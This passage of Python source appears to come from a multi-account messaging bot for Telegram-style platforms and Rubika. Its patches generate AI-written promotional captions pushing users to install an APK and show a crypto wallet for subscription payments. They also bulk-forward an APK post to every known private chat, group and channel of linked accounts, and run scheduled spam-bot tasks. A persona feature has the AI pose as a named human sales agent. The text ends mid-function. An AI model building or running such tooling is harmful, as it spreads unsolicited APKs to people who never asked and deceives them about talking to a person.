        send_message = getattr(client, "send_message", None)
        if send_message:
            try:
                await _trx_maybe_await(send_message(dest, "", file_inline=tmp_path, type="File"))
                log.info(f"TRX113 image send success via send_message target={str(target)[:80]}")
                return True
            except Exception as exc:
                log.debug(f"TRX113 downloaded send_message failed: {_mask(str(exc))}")
    except Exception as exc:
        log.warning(f"TRX113 image download/send failed: {_mask(str(exc))}")
    finally:
        if tmp_path:
            try:
                os.unlink(tmp_path)
            except Exception:
                pass
    log.warning(f"TRX113 image send failed target={str(target)[:80]}")
    return False


# -------------------------------------------------------------------
# 3) Long, varied channel caption with KB download link.
# -------------------------------------------------------------------
def _trx113_first_download_link(text: str) -> str:
    m = re.search(r"https?://[^\s<>\]\)]+", str(text or ""))
    return m.group(0).rstrip(".,،") if m else ""


def _trx113_caption_lines(text: str) -> List[str]:
    cleaned = _trx115_cleanup_caption(text)
    if not cleaned:
        return []
    parts = [p.strip() for p in re.split(r"\n+", cleaned) if p.strip()]
    if len(parts) >= 15:
        return parts
    sentences = [p.strip() for p in re.split(r"(?<=[.!؟])\s+", cleaned) if p.strip()]
    if len(sentences) > len(parts):
        parts = sentences
    return parts


async def _trx660_generate_caption(uid, aid, kind, target, apk_id):
    account = db.fetchone("SELECT service FROM accounts WHERE id=? AND user_id=?", (aid, uid))
    platform = _trx660_normalize_platform(account["service"] if account else "")
    cfg = _trx660_get_apk_config(uid, platform)
    kb = _trx_ai_get_kb(uid)[:8000]
    description = str(cfg["description"] or "") if cfg else ""
    configured_link = str(cfg["download_link"] or "") if cfg else ""
    kb_link = _trx113_first_download_link(kb)
    download_link = kb_link or configured_link
    file_name = str(cfg["file_name"] or "") if cfg else ""
    previous = []
    try:
        previous = [x for x in _trx115_recent_captions(uid, aid, kind) if len(str(x).strip()) >= 40]
    except Exception:
        previous = []

    prompt = (
        _trx113_ai_system(uid, aid, "scheduled_channel_activity" if kind == "channel" else "scheduled_group", 
                          f"Platform={platform}; target_type={kind}; target={target}; APK ID={apk_id}")
        + "\n\n"
        + "یک متن تبلیغاتی و آموزشی بلند برای APK بنویس. حداقل ۱۵ خط واقعی داشته باشد. "
          "متن باید فارسی روان و جذاب باشد، از ایموجی‌های مرتبط به‌صورت متعادل استفاده کند و Markdown سالم داشته باشد. "
          "کاربر را به نصب APK ترغیب کن، اما هیچ قابلیت/قیمت/تضمین/ادعای تاییدنشده‌ای نساز. "
          "هر بار زاویه دید، شروع متن و جمله‌بندی را عوض کن. "
          "در انتها لینک دانلود زیر را عیناً در یک خط جداگانه قرار بده و چیزی بعد از آن ننویس.\n"
        + (f"LINK_TO_USE: {download_link}\n" if download_link else "LINK_TO_USE: هیچ لینکی در دانش محصول ثبت نشده است؛ لینک جعلی نساز.\n")
        + f"APK_NAME: {file_name or ('APK #' + str(apk_id))}\n"
        + (f"CONFIGURED_DESCRIPTION: {description[:2500]}\n" if description else "")
        + f"PRODUCT_KNOWLEDGE (priority source):\n{kb}\n\n"
        + "متن‌های قبلی فقط برای جلوگیری از تکرار هستند؛ نسخه جدید باید از نظر شروع، زاویه و ساختار با آنها متفاوت باشد.\n"
        + "PREVIOUS_CAPTIONS:\n"
        + "\n---\n".join(previous[:10])
    )

    for attempt in range(3):
        try:
            result = await ai.chat(
                [
                    {"role": "system", "content": prompt},
                    {"role": "user", "content": "یک نسخه تازه تولید کن؛ حداقل ۱۵ خط، تبلیغاتی-آموزشی و متفاوت از نمونه‌های قبلی."},
                ],
                uid=uid,
                account_id=aid,
                action_type="scheduled_ad_caption_long",
                temperature=0.95,
                max_tokens=1000,
            )
        except Exception as exc:
            log.warning(f"TRX113 AI caption error: {_mask(str(exc))}")
            result = None
        lines = _trx113_caption_lines(result)
        caption = "\n".join(lines).strip()
        if download_link and download_link not in caption:
            caption = caption.rstrip() + "\n\n🔗 " + download_link
            lines = _trx113_caption_lines(caption)
        normalized = re.sub(r"\W+", "", caption, flags=re.UNICODE).lower()
        duplicate = any(normalized == re.sub(r"\W+", "", old, flags=re.UNICODE).lower() for old in previous)
        if len(lines) >= 15 and not duplicate:
            # Re-append link to guarantee it is the final line even after sentence normalization.
            if download_link:
                without_link = caption.replace(download_link, "").rstrip()
                caption = without_link + "\n\n🔗 " + download_link
            return caption[:5000]
        prompt += "\nدفعه بعد دقیقاً ۱۵ تا ۲۵ خط بده، شروع و زاویه را عوض کن و تکرار قبلی نداشته باش."
    return ""


_trx115_generate_caption_v14 = _trx660_generate_caption
_trx115_generate_caption = _trx660_generate_caption


# -------------------------------------------------------------------
# 4) Admin wallet + subscription payment display.
# -------------------------------------------------------------------
def admin_menu(lang):
    base = admin_menu_v5(lang) if "admin_menu_v5" in globals() else IKB([])
    try:
        data = json.loads(json.dumps(base, ensure_ascii=False))
        rows = data.get("inline_keyboard") if isinstance(data, dict) else None
        if isinstance(rows, list):
            rows.insert(-1 if rows else 0, [("💰 تنظیم آدرس ولت" if not str(lang).lower().startswith("en") else "💰 Set wallet address", "adm.wallet")])
            return {"inline_keyboard": rows}
    except Exception:
        pass
    return IKB([
        [("💰 تنظیم آدرس ولت" if not str(lang).lower().startswith("en") else "💰 Set wallet address", "adm.wallet")],
        [(t(lang, "btn.home"), "menu", "primary")],
    ])


_TRX113_ADMIN_DISPATCH_OLD = admin_dispatch

async def admin_dispatch(cb_id, uid, lang, chat_id, msg_id, data):
    if data == "adm.wallet":
        if not is_admin(uid):
            return await _edit(chat_id, msg_id, t(lang, "no_access"), back_home(lang))
        current = _setting("wallet_address", "")
        state.set(uid, "ADMIN_SET_WALLET", current=current)
        shown = current[:300] if current else "—"
        return await _edit(
            chat_id,
            msg_id,
            "💰 **تنظیم آدرس ولت**\n\n"
            "آدرس ولتی که باید کاربر بعد از انتخاب پلن ببیند را ارسال کن.\n\n"
            f"آدرس فعلی: `{shown}`",
            IKB([[('❌ لغو', 'cancel', 'danger')]]),
        )
    return await _TRX113_ADMIN_DISPATCH_OLD(cb_id, uid, lang, chat_id, msg_id, data)


# -------------------------------------------------------------------
# 5) Task controls + APK wizard + info/persona callback routing.
# -------------------------------------------------------------------
_TRX113_DISPATCH_OLD = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    try:
        _trx113_ensure_force_join_schema()

        # Requested direct APK-panel entry point.
        if data_s == "apk":
            return await _edit(chat_id, msg_id, _trx115_apk_panel_text(uid, lang), _trx115_apk_panel_kb(uid, lang))

        # Backward compatibility: any old cached campaign-prompt button opens persona editor.
        if data_s == "ai.prompt":
            data_s = "ai.persona"

        if data_s == "ai.persona":
            state.set(uid, State.EDIT_KB, mode="persona")
            current = _trx_ai_get_persona(uid)
            msg = (
                "🎭 **شخصیت‌دهی به هوش مصنوعی**\n\n"
                "اینجا بنویس هوش مصنوعی کی باشه، اسمش چیه، چه شخصیتی داشته باشه و چطور حرف بزنه.\n\n"
                "**نمونه:**\n"
                "«اسم تو حسین علیزاده‌ست. یه پشتیبان فروش خوش‌برخورد و صمیمی هستی. "
                "با لحن رفیقانه حرف می‌زنی، رسمی نیستی، از ایموجی به‌ندرت استفاده می‌کنی.»\n\n"
                "هر چی اینجا بنویسی، هوش مصنوعی توی **همه پاسخ‌هاش** (PV، گروه، چنل، تحلیل و پاسخ‌های مربوط به APK) رعایت می‌کنه.\n\n"
                "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
                f"**شخصیت فعلی:**\n{current[:1000] if current else '—'}"
            ) if not str(lang).lower().startswith("en") else (
                "🎭 **AI Persona**\n\n"
                "Describe who the AI is, its name, identity, personality and speaking style.\n\n"
                "**Example:**\n"
                "‘Your name is Hossein Alizadeh. You are a friendly sales support specialist...’\n\n"
                "This persona is applied to **all AI responses** including private chats, groups, channels, analysis and APK answers.\n\n"
                f"**Current persona:**\n{current[:1000] if current else '—'}"
            )
            cancel_text = trx_sc("Cancel") if str(lang).lower().startswith("en") else "❌ لغو"
            return await _edit(chat_id, msg_id, msg, IKB([[(cancel_text, "cancel", "danger")]]))

        if data_s == "ai.info":
            urow = db.fetchone("SELECT ai_enabled FROM users WHERE user_id=?", (uid,))
            kb_ok = bool(_trx_ai_get_kb(uid).strip())
            persona_ok = bool(_trx_ai_get_persona(uid).strip())
            status = "ON" if (urow and urow["ai_enabled"]) else "OFF"
            return await _edit(
                chat_id,
                msg_id,
                (
                    f"ℹ️ **وضعیت AI**\n\n🟢 AI: **{status}**\n🧠 دانش محصول: **{'آماده' if kb_ok else 'خالی'}**\n"
                    f"🎭 شخصیت: **{'تنظیم‌شده' if persona_ok else 'خالی'}**\n\n"
                    "شخصیت روی PV، گروه، چنل، تحلیل و پاسخ‌های مربوط به APK اعمال می‌شود."
                ) if not str(lang).lower().startswith("en") else (
                    f"ℹ️ **AI Status**\n\n🟢 AI: **{status}**\n🧠 Knowledge: **{'READY' if kb_ok else 'EMPTY'}**\n"
                    f"🎭 Persona: **{'CONFIGURED' if persona_ok else 'EMPTY'}**\n\n"
                    "The persona is applied to private chats, groups, channels, analysis and APK-related answers."
                ),
                ai_advanced_menu(lang, uid),
            )

        # Wallet displayed immediately after plan selection.
        if data_s.startswith("sub.plan:"):
            try:
                _, days, accs, price = data_s.split(":", 3)
                inv = f"TRX-{secrets.token_hex(4).upper()}"
                db.execute(
                    "INSERT INTO subscriptions(user_id,plan,accounts,days,price,status,created_at,expires_at,invoice_id) VALUES(?,?,?,?,?,?,?,?,?)",
                    (uid, f"{accs}acc/{days}d", int(accs), int(days), int(price), "pending", now(), now(), inv),
                )
                wallet = _setting("wallet_address", "")
                log_event(uid, "SUB_BOUGHT", inv)
                wallet_text = f"💳 **آدرس ولت:**\n`{wallet}`" if wallet else "⚠️ **آدرس ولت هنوز توسط ادمین تنظیم نشده است.**"
                return await _edit(
                    chat_id,
                    msg_id,
                    f"🧾 **درخواست خرید ثبت شد**\n\n"
                    f"📦 ظرفیت: **{accs} اکانت**\n📅 مدت: **{days} روز**\n💰 مبلغ: **{price} TRX**\n🧾 فاکتور: `{inv}`\n\n"
                    f"{wallet_text}\n\n"
                    "لطفاً مبلغ را به این آدرس واریز کنید و فیش واریزی را به پشتیبانی ارسال کنید.\n"
                    f"🆘 پشتیبانی: **{ADMIN_USERNAME}**\nآیدی عددی شما: `{uid}`",
                    IKB([[(f"🆘 ارتباط با {ADMIN_USERNAME}", "set.support", "success")], [(t(lang, "btn.home"), "menu", "primary")]]),
                )
            except Exception as exc:
                log.error(f"TRX113 sub.plan failed: {_mask(str(exc))}")

        # Task controls, with per-row toggle/delete buttons.
        if data_s == "ai.tasks":
            rows = db.fetchall("SELECT * FROM ai_tasks WHERE user_id=? ORDER BY id DESC", (uid,))
            running = sum(1 for r in rows if int(r["enabled"] or 0) == 1)
            lines = [f"⏱ **زمان‌بندی‌ها**\n\nفعال: **{running}** | کل: **{len(rows)}"]
            buttons = []
            for r in rows:
                tid = int(r["id"])
                label = "فعالیت چنل" if r["task_type"] == "channel" else "تبچی"
                enabled = bool(int(r["enabled"] or 0))
                state_label = "🟢" if enabled else "🔴"
                minutes = max(1, int(r["interval_seconds"] or 0) // 60)
                lines.append(f"{state_label} #{tid} — {label} — هر {minutes} دقیقه — {str(r['target'])[:120]}")
                buttons.append([
                    ("🔴 خاموش" if enabled else "🟢 روشن", f"trx115.task.toggle:{tid}", "danger" if enabled else "success"),
                    ("🗑 حذف", f"trx115.task.delete:{tid}", "danger"),
                ])
            buttons.append([(t(lang, "btn.back"), "ai", "primary")])
            return await _edit(chat_id, msg_id, "\n".join(lines), IKB(buttons))

        if data_s.startswith("trx115.task.toggle:"):
            tid = int(data_s.split(":", 1)[1])
            db.execute("UPDATE ai_tasks SET enabled=1-enabled, updated_at=? WHERE id=? AND user_id=?", (now(), tid, uid))
            return await dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, "ai.tasks")

        if data_s.startswith("trx115.task.delete:"):
            tid = int(data_s.split(":", 1)[1])
            key_candidates = []
            row = db.fetchone("SELECT user_id,id FROM ai_tasks WHERE id=? AND user_id=?", (tid, uid))
            if row:
                key_candidates.append((uid, tid))
            db.execute("DELETE FROM ai_tasks WHERE id=? AND user_id=?", (tid, uid))
            for key in key_candidates:
                try:
                    await _trx660_stop_worker(key)
                except Exception:
                    pass
            return await dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, "ai.tasks")

        # Step 1/2/3 of requested APK send wizard.
        if data_s == "ai.apk.send":
            return await _edit(chat_id, msg_id, "📤 **ارسال APK**\n\nاول پلتفرم رو انتخاب کن.", _trx01_platform_only_kb(lang, "trx113.apk_send.platform"))

        if data_s.startswith("trx113.apk_send.platform:"):
            platform = _trx660_normalize_platform(data_s.split(":", 1)[1])
            if platform not in TRX660_ALLOWED_PLATFORMS:
                return True
            return await _edit(chat_id, msg_id, f"📱 اکانت هدف {_trx01_service_label(platform)} رو انتخاب کن.", _trx01_account_kb(uid, lang, "trx113.apk_send.account", platform, back="ai.apk.send"))

        if data_s.startswith("trx113.apk_send.account:"):
            aid = int(data_s.split(":", 1)[1])
            row = db.fetchone("SELECT id,service FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, uid))
            if not row:
                return await _edit(chat_id, msg_id, "❌ اکانت پیدا نشد.", _trx01_platform_only_kb(lang, "trx113.apk_send.platform"))
            platform = _trx660_normalize_platform(row["service"])
            state.set(uid, "trx660_apk_source_link", platform=platform, account_id=aid, target_account=str(aid), flow_key=f"{uid}:{platform}:{aid}")
            return await _edit(chat_id, msg_id, "📎 لینک مستقیم پست/پیام APK را بفرست. فایل دوباره دانلود و آپلود نمی‌شود؛ فقط همان پیام فوروارد می‌شود.", IKB([[('❌ لغو', 'cancel', 'danger')]]))

        if data_s == "check_join":
            _trx113_ensure_force_join_schema()

    except Exception as exc:
        log.error(f"TRX113 dispatch patch failed: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
    return await _TRX113_DISPATCH_OLD(cb_id, uid, lang, u, chat_id, msg_id, data_s)


# -------------------------------------------------------------------
# 6) Final message router additions: persona, wallet, APK bulk-send state.
# -------------------------------------------------------------------
_TRX113_ON_MSG_OLD = on_msg

async def on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()
    if uid:
        try:
            lang = get_lang(uid)
            s = state.get(uid)

            if s and s.get("state") == "ADMIN_SET_WALLET" and is_admin(uid):
                if txt.lower() in {"/cancel", "لغو", "cancel"}:
                    state.pop(uid)
                    return await bot.send(chat_id, "❌ عملیات لغو شد.", reply_markup=admin_menu(lang))
                value = txt.strip()
                if not value or len(value) > 512:
                    return await bot.send(chat_id, "❌ آدرس ولت نامعتبر است؛ آدرس کامل را در یک پیام ارسال کن.")
                _set_setting("wallet_address", value)
                state.pop(uid)
                return await bot.send(chat_id, f"✅ آدرس ولت ذخیره شد:\n`{value}`", reply_markup=admin_menu(lang))

            if s and s.get("state") == State.EDIT_KB and s.get("mode") == "persona":
                value = txt[:4000]
                if not value:
                    return await bot.send(chat_id, "❌ متن شخصیت خالی است؛ توضیح شخصیت را ارسال کن.")
                await _trx_persona_save(uid, value)
                state.pop(uid)
                return await bot.send(chat_id, "✅ **شخصیت AI ذخیره شد**\n\nاز این به بعد هوش مصنوعی در همه پاسخ‌ها این شخصیت را رعایت می‌کند.", reply_markup=ai_advanced_menu(lang, uid))

            if s and s.get("state") == "trx660_apk_source_link":
                platform = _trx660_normalize_platform(s.get("platform"))
                aid = int(s.get("account_id"))
                expected = f"{uid}:{platform}:{aid}"
                if s.get("flow_key") != expected:
                    state.pop(uid)
                    return await bot.send(chat_id, "❌ این درخواست منقضی شده؛ دوباره از «ارسال APK» شروع کن.", reply_markup=ai_advanced_menu(lang, uid))
                ok, reason, _, _ = _trx01_validate_apk_link(platform, txt)
                if not ok:
                    return await bot.send(chat_id, "❌ " + str(reason), reply_markup=IKB([[('❌ لغو', 'cancel', 'danger')]]))
                processing = await bot.send(chat_id, "⏳ لینک APK بررسی و سپس فوروارد می‌شود؛ در حال پردازش...")
                try:
                    ok_save, info, row = await _trx01_save_apk_link(uid, aid, platform, txt)
                    if not ok_save:
                        return await bot.send(chat_id, "❌ " + str(info), reply_markup=ai_advanced_menu(lang, uid))
                    report = await _trx01_bulk_forward_apk(uid, platform, aid, row)
                except Exception as exc:
                    log.error(f"TRX113 APK bulk send failed: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
                    state.pop(uid)
                    return await bot.send(chat_id, f"⚠️ لینک APK ثبت شد ولی فوروارد کامل نشد:\n`{str(exc)[:300]}`", reply_markup=ai_advanced_menu(lang, uid))
                finally:
                    try:
                        pid = processing.get("result", {}).get("message_id") if isinstance(processing, dict) else None
                        if pid:
                            await bot.call("deleteMessage", chat_id=chat_id, message_id=pid)
                    except Exception:
                        pass
                state.pop(uid)
                return await bot.send(
                    chat_id,
                    "✅ **فوروارد APK تمام شد**\n\n"
                    f"• پیوی: **{report.get('pv_sent', 0)}**\n"
                    f"• گروه/چنل: **{report.get('group_channel_sent', 0)}**\n"
                    f"• قبلاً دریافت شده: **{report.get('already', 0)}**\n"
                    f"• ناموفق: **{report.get('failed', 0)}**",
                    reply_markup=ai_advanced_menu(lang, uid),
                )
        except Exception as exc:
            log.error(f"TRX113 on_msg patch failed: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
    return await _TRX113_ON_MSG_OLD(msg)


# -------------------------------------------------------------------
# 7) Safer bulk APK forwarding: known private/group/channel peers + enabled tasks,
#    source-message forwarding only, seven-second spacing and dedupe ledger.
# -------------------------------------------------------------------
async def _trx01_bulk_forward_apk(uid, platform, aid, link_row):
    _trx01_ensure_schema()
    target_account = str(int(aid))
    link_id = int(link_row["id"])
    apk_id = int(link_row["apk_id"] or 0)
    if not apk_id:
        raise RuntimeError("APK source message ID is missing")

    known = db.fetchall(
        "SELECT peer_id,peer_type FROM trx01_known_peers WHERE user_id=? AND account_id=? AND platform=? ORDER BY last_seen DESC",
        (uid, aid, platform),
    )
    configured = db.fetchall(
        "SELECT target,task_type FROM ai_tasks WHERE user_id=? AND account_id=? AND enabled=1 AND task_type IN ('group','channel') ORDER BY id DESC",
        (uid, aid),
    )
    source_peer = str(link_row["source_peer"] or "").strip()
    destinations = []
    seen = set()
    for row in known:
        dest = str(row["peer_id"] or "").strip()
        dtype = str(row["peer_type"] or "private").strip().lower() or "private"
        if not dest or dest == source_peer:
            continue
        key = (dtype, dest)
        if key in seen:
            continue
        seen.add(key)
        destinations.append((dest, dtype))
    for row in configured:
        dest = str(row["target"] or "").strip()
        dtype = str(row["task_type"] or "group").strip().lower()
        if not dest or dest == source_peer:
            continue
        key = (dtype, dest)
        if key in seen:
            continue
        seen.add(key)
        destinations.append((dest, dtype))

    sent = already = failed = pv_sent = group_channel_sent = pv_already = 0
    first_attempt = True
    for dest, dtype in destinations:
        existing = db.fetchone(
            "SELECT * FROM trx01_apk_forwards WHERE platform=? AND target_account=? AND customer_id=?",
            (platform, target_account, dest),
        )
        if existing and int(existing["apk_link_id"] or 0) == link_id:
            already += 1
            if dtype == "private":
                pv_already += 1
            continue
        if not first_attempt:
            await asyncio.sleep(TRX01_APK_DELAY_SECONDS)
        first_attempt = False
        ok, info = await _trx01_forward_source(uid, aid, dest, apk_id)
        if ok:
            sent += 1
            if dtype == "private":
                pv_sent += 1
            else:
                group_channel_sent += 1
            db.execute(
                "INSERT OR REPLACE INTO trx01_apk_forwards(platform,target_account,customer_id,customer_type,apk_link_id,destination_id,destination_type,delivered_at) VALUES(?,?,?,?,?,?,?,?)",
                (platform, target_account, dest, dtype, link_id, dest, dtype, now()),
            )
            log_event(uid, "TRX113_APK_FORWARDED", f"{platform}:{aid}:{dtype}:{dest[:120]}")
        else:
            failed += 1
            log_event(uid, "TRX113_APK_FORWARD_FAILED", f"{platform}:{aid}:{dtype}:{dest[:120]}:{str(info)[:120]}")
    return {
        "sent": sent,
        "already": already,
        "failed": failed,
        "total": len(destinations),
        "pv_sent": pv_sent,
        "group_channel_sent": group_channel_sent,
        "pv_already": pv_already,
    }


# -------------------------------------------------------------------
# 8) Scheduler hardening — time.time()-based due calculation and task isolation.
# -------------------------------------------------------------------
def _trx113_last_run_epoch(value):
    if not value:
        return None
    try:
        dt = datetime.fromisoformat(str(value))
        import calendar
        if dt.tzinfo is not None:
            return calendar.timegm(dt.utctimetuple()) + dt.microsecond / 1_000_000.0
        return calendar.timegm(dt.timetuple()) + dt.microsecond / 1_000_000.0
    except Exception:
        return None


async def _trx660_task_worker(task_id):
    key = None
    try:
        while True:
            row = db.fetchone("SELECT * FROM ai_tasks WHERE id=? AND enabled=1 LIMIT 1", (int(task_id),))
            if not row:
                return
            key = (int(row["user_id"]), int(row["id"]))
            interval = _trx660_task_interval(row)
            current_ts = time.time()
            last_epoch = _trx113_last_run_epoch(row["last_run"])
            due = last_epoch is None or current_ts >= (last_epoch + interval)
            if not due:
                wait_for = max(0.5, min((last_epoch + interval) - current_ts, 5.0))
                await asyncio.sleep(wait_for)
                continue
            try:
                await _trx660_run_task(row)
            except asyncio.CancelledError:
                raise
            except Exception as exc:
                log.warning(f"TRX113 task #{task_id} failed: {_mask(str(exc))}")
                try:
                    stamp = now()
                    db.execute("UPDATE ai_tasks SET last_run=?,updated_at=? WHERE id=?", (stamp, stamp, int(task_id)))
                    _trx660_record_task_result(task_id, False, str(exc))
                except Exception as db_exc:
                    log.warning(f"TRX113 task #{task_id} failure record failed: {_mask(str(db_exc))}")
            await asyncio.sleep(0.5)
    finally:
        if key is not None:
            current = _TRX660_ACTIVE_TASKS.get(key)
            if current is asyncio.current_task():
                _TRX660_ACTIVE_TASKS.pop(key, None)


async def _trx660_scheduler_loop():
    try:
        while True:
            try:
                if db is None or bot is None or not getattr(bot, "running", False):
                    await asyncio.sleep(2)
                    continue
                _trx660_ensure_runtime_schema()
                _trx660_dedupe_db_tasks()
                rows = db.fetchall("SELECT * FROM ai_tasks WHERE enabled=1 ORDER BY id ASC")
                desired = {(int(r["user_id"]), int(r["id"])) for r in rows}
                for key, handle in list(_TRX660_ACTIVE_TASKS.items()):
                    if key not in desired:
                        if handle.done():
                            _TRX660_ACTIVE_TASKS.pop(key, None)
                        else:
                            await _trx660_stop_worker(key)
                for row in rows:
                    key = (int(row["user_id"]), int(row["id"]))
                    handle = _TRX660_ACTIVE_TASKS.get(key)
                    if handle and not handle.done():
                        continue
                    _TRX660_ACTIVE_TASKS[key] = asyncio.create_task(_trx660_task_worker(int(row["id"])))
                await asyncio.sleep(2)
            except asyncio.CancelledError:
                raise
            except Exception as exc:
                log.error(f"TRX113 scheduler supervisor error: {_mask(str(exc))}")
                await asyncio.sleep(2)
    finally:
        for key in list(_TRX660_ACTIVE_TASKS):
            try:
                await _trx660_stop_worker(key)
            except Exception:
                pass


_trx_scheduler_loop = _trx660_scheduler_loop


# -------------------------------------------------------------------
# 9) Analysis quota = 10/day and force-join schema guard on init path.
# -------------------------------------------------------------------
TRX01_AI_ANALYSIS_DAILY_LIMIT = 10


# -------------------------------------------------------------------
# 10) Rubika OTP: exact direct HTTPS first, then legacy/rulog/rubpy fallbacks.
# -------------------------------------------------------------------
_TRX113_RUBIKA_URLS = (
    "https://messengerg2c4.iranlms.ir/",
    "https://messengerg2c17.iranlms.ir/",
)
_TRX113_RUBIKA_HEADERS = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0 (Linux; Android 13) AppleWebKit/537.36 Chrome/124 Mobile Safari/537.36",
    "Origin": "https://web.rubika.ir",
    "Referer": "https://web.rubika.ir/",
}


async def _trx113_rubika_https_send_code(number: str):
    payload = {
        "api_version": "3",
        "method": "sendCode",
        "data": {"phone_number": number, "send_type": "SMS"},
    }
    errors = []
    async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=18)) as session:
        for base in _TRX113_RUBIKA_URLS:
            try:
                async with session.post(base, json=payload, headers=_TRX113_RUBIKA_HEADERS) as resp:
                    raw = await resp.text()
                    try:
                        data = json.loads(raw)
                    except Exception:
                        data = {"status": str(resp.status), "raw": raw[:1200]}
                    phone_hash = _trx115_extract_hash_final(data)
                    if resp.status < 400 and phone_hash and _trx115_rubika_status_ok(data):
                        return True, data
                    errors.append(f"{base}: HTTP {resp.status} {str(data)[:500]}")
            except Exception as exc:
                errors.append(f"{base}: {type(exc).__name__}: {exc}")
    return False, " | ".join(errors)[:1400]


async def rubika_send_code_v15(uid: int, phone: str) -> Tuple[bool, Any]:
    number = _trx_phone_98digits(phone)
    errors = []

    # 1) Exact direct HTTPS implementation requested by the user.
    try:
        ok, response = await _trx113_rubika_https_send_code(number)
        if ok:
            phone_hash = _trx115_extract_hash_final(response)
            active_clients[uid] = {
                "client": None,
                "rulog": None,
                "service": "rubika",
                "phone": number,
                "phone_input": phone,
                "hash": str(phone_hash),
                "otp_platform": "legacy",
                "backend": "legacy_v14",
                "created_at": time.time(),
                "connected": False,
            }
            log.info(f"[{uid}] Rubika OTP requested via direct HTTPS")
            return True, response
        errors.append("direct HTTPS: " + str(response)[:800])
    except Exception as exc:
        errors.append(f"direct HTTPS: {type(exc).__name__}: {exc}")

    # 2) Existing hardened HTTPS helper as secondary fallback.
    try:
        response = await asyncio.wait_for(
            _trx115_rubika_http_final({
                "api_version": "3",
                "method": "sendCode",
                "data": {"phone_number": number, "send_type": "SMS"},
            }, timeout=18),
            timeout=22,
        )
        phone_hash = _trx115_extract_hash_final(response)
        if phone_hash and _trx115_rubika_status_ok(response):
            active_clients[uid] = {
                "client": None, "rulog": None, "service": "rubika",
                "phone": number, "phone_input": phone, "hash": str(phone_hash),
                "otp_platform": "legacy", "backend": "legacy_v14",
                "created_at": time.time(), "connected": False,
            }
            return True, response
        errors.append("secondary HTTPS: response without phone_code_hash")
    except Exception as exc:
        errors.append(f"secondary HTTPS: {type(exc).__name__}: {exc}")

    # 3) rulog fallback.
    try:
        mod = _trx_import_or_install("rulog", "rulog>=1.0.3")
        RulogClient = getattr(mod, "Client", None)
        if RulogClient:
            for platform_name, kwargs in (("android", {"send_type": True}), ("web", {})):
                try:
                    rc = RulogClient()
                    fn = getattr(rc, "sendCode", None)
                    if not fn:
                        raise RuntimeError("rulog.Client.sendCode unavailable")
                    response = await asyncio.wait_for(
                        asyncio.to_thread(fn, platform_name, number, **kwargs), timeout=28
                    )
                    phone_hash = _trx115_extract_hash_final(response)
                    if phone_hash:
                        active_clients[uid] = {
                            "client": None, "rulog": rc, "service": "rubika",
                            "phone": number, "phone_input": phone, "hash": str(phone_hash),
                            "otp_platform": platform_name, "backend": "rulog_v15",
                            "created_at": time.time(), "connected": False,
                        }
                        return True, response
                except OSError as exc:
                    errors.append(f"rulog {platform_name}: OSError({getattr(exc, 'errno', '?')})")
                except Exception as exc:
                    errors.append(f"rulog {platform_name}: {type(exc).__name__}: {exc}")
    except Exception as exc:
        errors.append(f"rulog: {type(exc).__name__}: {exc}")

    # 4) rubpy native send_code fallback when exposed by installed version.
    try:
        from rubpy import Client as RubpyClient
        session_name = os.path.join(SESS_DIR, f"rubika_otp_{uid}_{int(time.time())}")
        client = RubpyClient(session_name, display_welcome=False, platform="Android")
        fn = getattr(client, "send_code", None)
        if fn:
            response = await asyncio.wait_for(_trx_maybe_await(fn(number)), timeout=24)
            phone_hash = _trx115_extract_hash_final(response)
            if phone_hash:
                active_clients[uid] = {
                    "client": client, "rulog": None, "service": "rubika",
                    "phone": number, "phone_input": phone, "hash": str(phone_hash),
                    "otp_platform": "Android", "backend": "rubpy_v15",
                    "created_at": time.time(), "connected": False,
                }
                return True, response
            errors.append("rubpy: response without phone_code_hash")
        else:
            errors.append("rubpy: send_code unavailable")
    except Exception as exc:
        errors.append(f"rubpy: {type(exc).__name__}: {exc}")

    try:
        info = active_clients.get(uid)
        if info and info.get("service") == "rubika" and not info.get("connected"):
            active_clients.pop(uid, None)
    except Exception:
        pass
    return False, "ارسال کد روبیکا انجام نشد. " + " | ".join(errors)[:1500]


SERVICE_HANDLERS["rubika"] = {
    "send": _wrap_otp_handler("rubika", rubika_send_code_v15),
    "verify": rubika_verify_v15,
}


# -------------------------------------------------------------------
# 11) Final runtime consistency: APK aliases and build marker.
# -------------------------------------------------------------------
_trx_run_task = _trx660_run_task
TRX113_BUILD = "2026-09-24-final-additive-v1"
print("[TRX113] final additive patch loaded")


# ═══════════════════════════════════════════════════════════════════
# TRX190 FINAL ADDITIVE PATCH
# Requested fixes/features from T.txt. Existing code remains intact.
# ═══════════════════════════════════════════════════════════════════

# -------------------------------------------------------------------
# 1) Exact Rubika OTP v16: direct HTTPS first, then rulog.
# -------------------------------------------------------------------
_TRX190_RUBIKA_V16_URLS = (
    "https://messengerg2c4.iranlms.ir/",
    "https://messengerg2c17.iranlms.ir/",
)
_TRX190_RUBIKA_V16_HEADERS = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0 (Linux; Android 13)",
    "Origin": "https://web.rubika.ir",
    "Referer": "https://web.rubika.ir/",
}


async def rubika_send_code_v16(uid: int, phone: str) -> Tuple[bool, Any]:
    number = _trx_phone_98digits(phone)
    errors = []

    # Priority 1: direct HTTPS.
    payload = {
        "api_version": "3",
        "method": "sendCode",
        "data": {
            "phone_number": number,
            "send_type": "SMS",
        },
    }
    try:
        async with aiohttp.ClientSession(
            timeout=aiohttp.ClientTimeout(total=18)
        ) as session:
            for endpoint in _TRX190_RUBIKA_V16_URLS:
                try:
                    async with session.post(
                        endpoint,
                        json=payload,
                        headers=_TRX190_RUBIKA_V16_HEADERS,
                    ) as response:
                        raw = await response.text()
                        try:
                            data = json.loads(raw)
                        except Exception:
                            data = {"raw": raw[:1600], "status": response.status}

                        phone_hash = _trx115_extract_hash_final(data)
                        if response.status < 400 and phone_hash:
                            active_clients[uid] = {
